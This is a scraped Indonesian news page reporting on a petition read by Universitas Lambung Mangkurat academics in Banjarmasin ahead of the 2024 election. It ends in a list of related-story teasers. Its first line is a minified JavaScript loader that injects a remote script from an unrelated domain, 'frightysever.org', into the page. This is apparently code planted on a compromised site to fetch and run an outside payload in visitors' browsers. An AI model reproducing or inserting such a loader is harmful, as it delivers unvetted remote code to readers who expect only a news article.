(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kurang dua pekan jelang hari pemungutan suara Pemilu 2024, civitas akademika Universitas Lambung Mangkurat (ULM) Banjarmasin memberikan pernyataan sikap yang bertajuk “Deklarasi Kebangsaan Kayu Tangi Untuk Demokrasi yang Bermartabat”.
Pembacaan petisi yang digelar Jumat (2/1/2024) sore, di depan kantor Rektorat ULM Banjarmasin itu dipimpin Ketua Senat ULM, Prof Hadin Muhjad MH. Diikuti oleh sejumlah dosen, pejabat fungsional kampus, termasuk Wakil Rektor ULM dan mahasiswa.
Ada empat poin petisi yang disampaikan civitas akademika ULM, mereka meminta agar semua pihak bertanggung jawab untuk melaksanakannya.
Pertama meminta proses demokrasi dilaksanakan sungguh-sungguh berdasarkan Undang-Undang dan ketentuan hukum yang berlaku.
Baca juga: Guru Danau Wafat, Kalsel Kehilangan Sosok Ulama Kharismatik
Kemudian, aspek etika merupakan bagian yang tak terpisahkan dalam kepribadian bangsa Indonesia harus menjadi acuna penting dalam proses berdemokrasi.
Lalu melaksankan sungguh-sungguh prinsip dasar Pemilu 2024 yaitu, langsung, umum, bebas, rahasia, jujur, dan adil.
Berikutnya, memelihara persatuan antar komponen bangsa agar pelaksanaan Pemilu 2024 berlangsung sukses sesuai ketentuan yang berlaku.
Usai pembacaan petisi, Prof Hadin Muhjad mengatakan petisi disampaikan sebagai respon dinamika politik yang terjadi di Indonesia jelang Pemilu 2024.
Baca juga: Ribuan Pelayat Do’akan Guru Danau, Dikebumikan Bakda Zuhur
Petisi juga disampaikan menyusul sejumlah universitas lain di Indonesia yang telah melakukan hal yang sama, seperti Universitas Gadjah Mada (UGM), Universitas Indonesia (UI), dan beberapa kampus besar lainnya.
“Dinamika perguruan tinggi kan harus sama, karena nafasnya juga sama,” ujar Prof Hadin Muhjadi.
Guru besar Fakultas Hukum ULM ini menambahkan, petisi yang disampaikan hanya sekadar aspirasi atau ekspresi kebebasan menyampaikan pendapat yang menjadi hak setiap warga negara.
Pihaknya pun tak merasa khawatir jika sewaktu-waktu ada tekanan setelah petisi disampaikan.
Baca juga: Dalih Ayah ‘Garap’ Anak Kandung Sendiri, Ngaku Hanya Sekali
“Ini kan yang disampaikan sebuah kejujuran, tidak ada yang sifatnya mengadu domba atau menyerang orang, ini keilmuan,” tegasnya.
Sebagaimana diketahui, dalam beberapa akhir ini sejumlah kampus di Indonesia berbondong-bondong melaksanakan deklarasi untuk merespon dinamika politik jelang Pemilu atau Pilpres 2024.
Kampus besar seperti UGM, UII dan UI mengawali pelaksanaan deklarasi dan diikuti kampus-kampus lain, salah satunya ULM Banjarmasin. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.